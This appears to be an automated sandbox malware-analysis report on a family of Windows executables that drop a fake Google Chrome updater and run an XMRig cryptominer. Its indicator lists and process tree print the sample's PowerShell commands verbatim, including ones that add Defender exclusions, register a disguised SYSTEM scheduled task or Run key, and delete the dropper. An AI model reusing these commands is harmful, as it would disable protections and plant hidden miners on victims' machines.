Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1799s - max time network
1798s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
- Target grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
- Size 2.0MB
- Sample240123-x6bvbafgem
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1704 created 3336 1704 Yvdp8t5knpQz7sFB.exe 63 PID 1704 created 3336 1704 Yvdp8t5knpQz7sFB.exe 63 PID 1704 created 3336 1704 Yvdp8t5knpQz7sFB.exe 63 PID 1704 created 3336 1704 Yvdp8t5knpQz7sFB.exe 63 PID 2776 created 3336 2776 updater.exe 63 PID 2776 created 3336 2776 updater.exe 63 PID 2776 created 3336 2776 updater.exe 63 PID 776 created 3336 776 conhost.exe 63 PID 2776 created 3336 2776 updater.exe 63 PID 2776 created 3336 2776 updater.exe 63 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral32/memory/2732-126-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-130-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-131-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-133-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-136-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-139-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-141-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-143-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-145-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-147-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-149-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-151-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-153-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-155-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-157-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-159-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-161-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-163-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-165-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-167-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-169-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-171-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-173-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-175-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-177-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-179-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-181-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-183-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-185-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig behavioral32/memory/2732-187-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 2776 updater.exe -
resource yara_rule behavioral32/memory/2732-122-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-126-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-130-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-131-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-133-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-136-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-139-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-141-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-143-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-145-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-147-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-149-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-151-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-153-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-155-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-157-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-159-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-161-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-163-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-165-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-167-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-169-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-171-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-173-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-175-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-177-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-179-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-181-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-183-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-185-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx behavioral32/memory/2732-187-0x00007FF7EC680000-0x00007FF7ECE74000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2776 set thread context of 776 2776 updater.exe 111 PID 2776 set thread context of 2732 2776 updater.exe 114 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Yvdp8t5knpQz7sFB.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4500 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1704 Yvdp8t5knpQz7sFB.exe 1704 Yvdp8t5knpQz7sFB.exe 3512 powershell.exe 3512 powershell.exe 1704 Yvdp8t5knpQz7sFB.exe 1704 Yvdp8t5knpQz7sFB.exe 732 powershell.exe 732 powershell.exe 1704 Yvdp8t5knpQz7sFB.exe 1704 Yvdp8t5knpQz7sFB.exe 1704 Yvdp8t5knpQz7sFB.exe 1704 Yvdp8t5knpQz7sFB.exe 3112 powershell.exe 3112 powershell.exe 2776 updater.exe 2776 updater.exe 2444 powershell.exe 2444 powershell.exe 2776 updater.exe 2776 updater.exe 4168 powershell.exe 4168 powershell.exe 2776 updater.exe 2776 updater.exe 776 conhost.exe 776 conhost.exe 2776 updater.exe 2776 updater.exe 2776 updater.exe 2776 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3512 powershell.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeIncreaseQuotaPrivilege 732 powershell.exe Token: SeSecurityPrivilege 732 powershell.exe Token: SeTakeOwnershipPrivilege 732 powershell.exe Token: SeLoadDriverPrivilege 732 powershell.exe Token: SeSystemProfilePrivilege 732 powershell.exe Token: SeSystemtimePrivilege 732 powershell.exe Token: SeProfSingleProcessPrivilege 732 powershell.exe Token: SeIncBasePriorityPrivilege 732 powershell.exe Token: SeCreatePagefilePrivilege 732 powershell.exe Token: SeBackupPrivilege 732 powershell.exe Token: SeRestorePrivilege 732 powershell.exe Token: SeShutdownPrivilege 732 powershell.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeSystemEnvironmentPrivilege 732 powershell.exe Token: SeRemoteShutdownPrivilege 732 powershell.exe Token: SeUndockPrivilege 732 powershell.exe Token: SeManageVolumePrivilege 732 powershell.exe Token: 33 732 powershell.exe Token: 34 732 powershell.exe Token: 35 732 powershell.exe Token: 36 732 powershell.exe Token: SeIncreaseQuotaPrivilege 732 powershell.exe Token: SeSecurityPrivilege 732 powershell.exe Token: SeTakeOwnershipPrivilege 732 powershell.exe Token: SeLoadDriverPrivilege 732 powershell.exe Token: SeSystemProfilePrivilege 732 powershell.exe Token: SeSystemtimePrivilege 732 powershell.exe Token: SeProfSingleProcessPrivilege 732 powershell.exe Token: SeIncBasePriorityPrivilege 732 powershell.exe Token: SeCreatePagefilePrivilege 732 powershell.exe Token: SeBackupPrivilege 732 powershell.exe Token: SeRestorePrivilege 732 powershell.exe Token: SeShutdownPrivilege 732 powershell.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeSystemEnvironmentPrivilege 732 powershell.exe Token: SeRemoteShutdownPrivilege 732 powershell.exe Token: SeUndockPrivilege 732 powershell.exe Token: SeManageVolumePrivilege 732 powershell.exe Token: 33 732 powershell.exe Token: 34 732 powershell.exe Token: 35 732 powershell.exe Token: 36 732 powershell.exe Token: SeIncreaseQuotaPrivilege 732 powershell.exe Token: SeSecurityPrivilege 732 powershell.exe Token: SeTakeOwnershipPrivilege 732 powershell.exe Token: SeLoadDriverPrivilege 732 powershell.exe Token: SeSystemProfilePrivilege 732 powershell.exe Token: SeSystemtimePrivilege 732 powershell.exe Token: SeProfSingleProcessPrivilege 732 powershell.exe Token: SeIncBasePriorityPrivilege 732 powershell.exe Token: SeCreatePagefilePrivilege 732 powershell.exe Token: SeBackupPrivilege 732 powershell.exe Token: SeRestorePrivilege 732 powershell.exe Token: SeShutdownPrivilege 732 powershell.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeSystemEnvironmentPrivilege 732 powershell.exe Token: SeRemoteShutdownPrivilege 732 powershell.exe Token: SeUndockPrivilege 732 powershell.exe Token: SeManageVolumePrivilege 732 powershell.exe Token: 33 732 powershell.exe Token: 34 732 powershell.exe Token: 35 732 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3384 wrote to memory of 1156 3384 cmd.exe 101 PID 3384 wrote to memory of 1156 3384 cmd.exe 101 PID 3112 wrote to memory of 212 3112 powershell.exe 103 PID 3112 wrote to memory of 212 3112 powershell.exe 103 PID 2776 wrote to memory of 776 2776 updater.exe 111 PID 2632 wrote to memory of 4500 2632 cmd.exe 113 PID 2632 wrote to memory of 4500 2632 cmd.exe 113 PID 2776 wrote to memory of 2732 2776 updater.exe 114 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3336
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3512
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:732
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1156
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:212
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2444
